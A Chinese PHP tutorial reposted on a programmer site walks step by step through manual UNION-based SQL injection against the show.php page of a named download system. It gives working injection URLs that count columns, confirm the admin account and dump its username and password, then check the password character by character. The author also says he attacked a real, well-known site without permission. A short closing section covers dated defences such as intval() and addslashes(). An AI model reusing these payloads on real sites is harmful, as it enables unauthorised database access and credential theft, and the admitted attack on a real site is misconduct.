PHP程序员站--PHP编程开发平台
 当前位置:主页 >> PHP基础 >> 基础文章 >> 

Mysql手工注入语句(站长推荐)

Mysql手工注入语句(站长推荐)

来源:互联网  作者:angel  发布时间:2008-08-27
声明 本文仅用于教学目的,如果因为本文造成的攻击后果本人概不

实例

  下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行一次大概的验证,出于影响等诸多因素,我们称这个站点为HB(www.***bai.net),HB使用的是夜猫的文章系统和下载系统,不过文章系统已经升级了,我们就不看了,下载系统是绝对有问题的,不过由于我现在写文章的电脑不上网,我用相同的下载系统在本地进行一次模拟的测试。实际上,我事前早用更狠毒的技术渗透过HB。
  首先我们找到有问题的文件,show.php?id=1,我们马上看看数据结构和表名,看看HB有没有改字段和表名,我早知道夜猫下载系统1.0.1版的软件信息的表有19个字段,就提交:

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

  注意,这里有19个“1”,返回正常的页面,我可以可以肯定字段没有变,我们也就别拖拉了,直接看看夜猫的默认用户数据表是否存在:

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

  正常返回,如图,如果URL不清楚可以看标题那里:

  嗯,这个HB还真是够懒的,这么烂的程序也不知道先修改一下再用,不过也是,没有多少人和我一样有闲心先去加固程序才用的,再看默认的用户id还在不在?

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

  忘记了,就算不存在id为1的用户,前面的查询是真的,照样会正常返回数据库的软件信息,我们只能让前面的查询为假,才能使后面查询的结果显示出来,但我们要注意一点,show.php文件里面有这样一段代码:

if ($id > "0" && $id < "999999999" ):
//这里是正确执行的代码
else:
echo "<p><center><a href=./list.php>无记录</a></p>\n";

  也就是说我们的ID的值再怎么离谱也不能在0和999999999之外,HB的软件肯定不会超过10000个的,我们就提交:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

  正常返回了,表格里的数据全部是“1”,说明ID还在哦。如果不存在的话,页面只返回的数据全部是不详,因为程序的判断是如果数据为空就显示不详。现在确定了ID存在后,还要确定是不是管理员才行啊:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1

  程序规定groupid为1是超级管理员,既然都返回正确信息了,我们就直接构造畸形语句,暴出我们需要的用户名和密码,嘿嘿,首先看看ymdown表的数据结构,因为show.php是查询它的,所以我们应该看它的数据结构。

CREATE TABLE ymdown (
 id int(10) unsigned NOT NULL auto_increment,
 name varchar(100) NOT NULL,
 updatetime varchar(20) NOT NULL,
 size varchar(100) NOT NULL,
 empower varchar(100) NOT NULL,
 os varchar(100) NOT NULL,
 grade smallint(6) DEFAULT '0' NOT NULL,
 viewnum int(10) DEFAULT '0' NOT NULL,
 downnum int(10) DEFAULT '0' NOT NULL,
 homepage varchar(100), demo varchar(100),
 brief mediumtext, img varchar(100),
 sort2id smallint(6) DEFAULT '0' NOT NULL,
 down1 varchar(100) NOT NULL,
 down2 varchar(100),
 down3 varchar(100),
 down4 varchar(100),
 down5 varchar(100),
 PRIMARY KEY (id)
);

  用户名和密码的数据类型都是varchar,所以我们要选择ymdown表里数据类型是varchar来,如果把varchar的数据写到int的地方当然是不可能显示的了,由于updatetime(更新日期)的长度是20,可能会出现显示不完全的情况,我们就把用户名显示在name(软件标题)那里,密码显示在size(文件大小)那里好了,在19个“1”中,name和size分别是第二个和第四个,我们提交:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

  结果成功返回了我们所需要的用户名和密码,如图:

验证测试结果

  整个渗透过程就结束了,不过由于黑白把入口给改了,无法登陆,但我们仅仅测试注入,目的已经达到了,就没有必要进后台了,我后来又继续构造SQL语句来验证我们获取的密码是否正确,依次提交:

http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50
#验证第二位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
#验证第三位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52
#验证第四位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53
#验证第五位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54
#验证第六位密码

  用select char(49,50,51,52,53,54)就可以得到123456。
  OK!测试结束,验证我们的结果没有错误。说明一下,密码本身是123456,可以不用ord()函数而直接猜,但为了大家能看到一个完整的过程,我还是“专业”一点好了。下面补一幅截图,是本文写完后,重新测试HB时截取的:

注入的防范

  防范可以从两个方面着手,一个就是服务器,二个就是代码本身,介绍服务器配置的文章很多了,无非就是把magic_quotes_gpc设置为On,display_errors设置为Off,这里也就不在多说,既然本文接触都是程序的问题,我们还是从程序本身寻找原因。
  如果说php比asp易用,安全,从内置的函数就可以体现出来。如果是整形的变量,只需使用一个intval()函数即可解决问题,在执行查询之前,我们先处理一下变量,如下面的例子就是很安全的了:

$id = intval($id);
mysql_query("SELECT * FROM article WHERE articleid='$id'");

  或者这样写:

mysql_query("SELECT * FROM article WHERE articleid=".intval($id)."")

  不管如何构造,最终还是会先转换为整形猜放入数据库的。很多大型程序都是这样写,非常简洁。
  字符串形的变量也可以用addslashes()整个内置函数了,这个函数的作用和magic_quotes_gpc一样,使用后,所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的溢出字符。而且新版本的php,就算magic_quotes_gpc打开了,再使用addslashes()函数,也不会有冲突,可以放心使用。例子如下:

$username = addslashes($username);
mysql_query("SELECT * FROM members WHERE userid='$username'");

  或者这样写:

mysql_query("SELECT * FROM members WHERE userid=".addslashes($username)."")

  使用addslashes()函数还可以避免引号配对错误的情况出现。而刚才的前面搜索引擎的修补方法就是直接把“_”、“%”转换为“\_”“\%”就可以了,当然也不要忘记使用addslashes()函数。具体代码如下:

$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);

  不用像ASP那样,过滤一点变量,就要写一大堆的代码,就是上面的一点点代码,我们就可以把本文所有的问题解决了,是不是很简便?

后记

  这篇文章是我自2004年3月份以来利用课余时间学习研究的,5月中旬写完,里面的所有东西都是经过我亲自测试的,本文仅仅算是技术总结吧,还有很多技术难点没有解决的,因此错漏是难免的,欢迎请大家指正。
  还有不少危险性极高的东西,只要少数条件成立,一般都可以进入服务器,考虑到严重性和广泛性,我并没有写出来,我个人估计,不久将会出现PHP+MYSQL注入的一系列工具,技术也会普及和告诉发展。但我建议大家一定要弄清楚原理,工具只是武器,技术才是灵魂,工具只是提高效率罢了,并不代表你的技术高超。
  大家看到这篇文章的时候,估计我已经高考完了,暑假我会写一篇更深入的研究。
  为了让更多人了解并掌握PHP+MYSQL的注入技术,我才写了这篇文章,并决定发表,再重申一次。不要对任何国家的任何合法主机进行破坏,否则后果自负。

Tags: 注射   注入   mysql   语句   注入   select   提交   sql   站长  
最新文章
推荐阅读
月点击排行榜
PHP程序员站 Copyright © 2007-2010,PHPERZ.COM All Rights Reserved 粤ICP备07503606号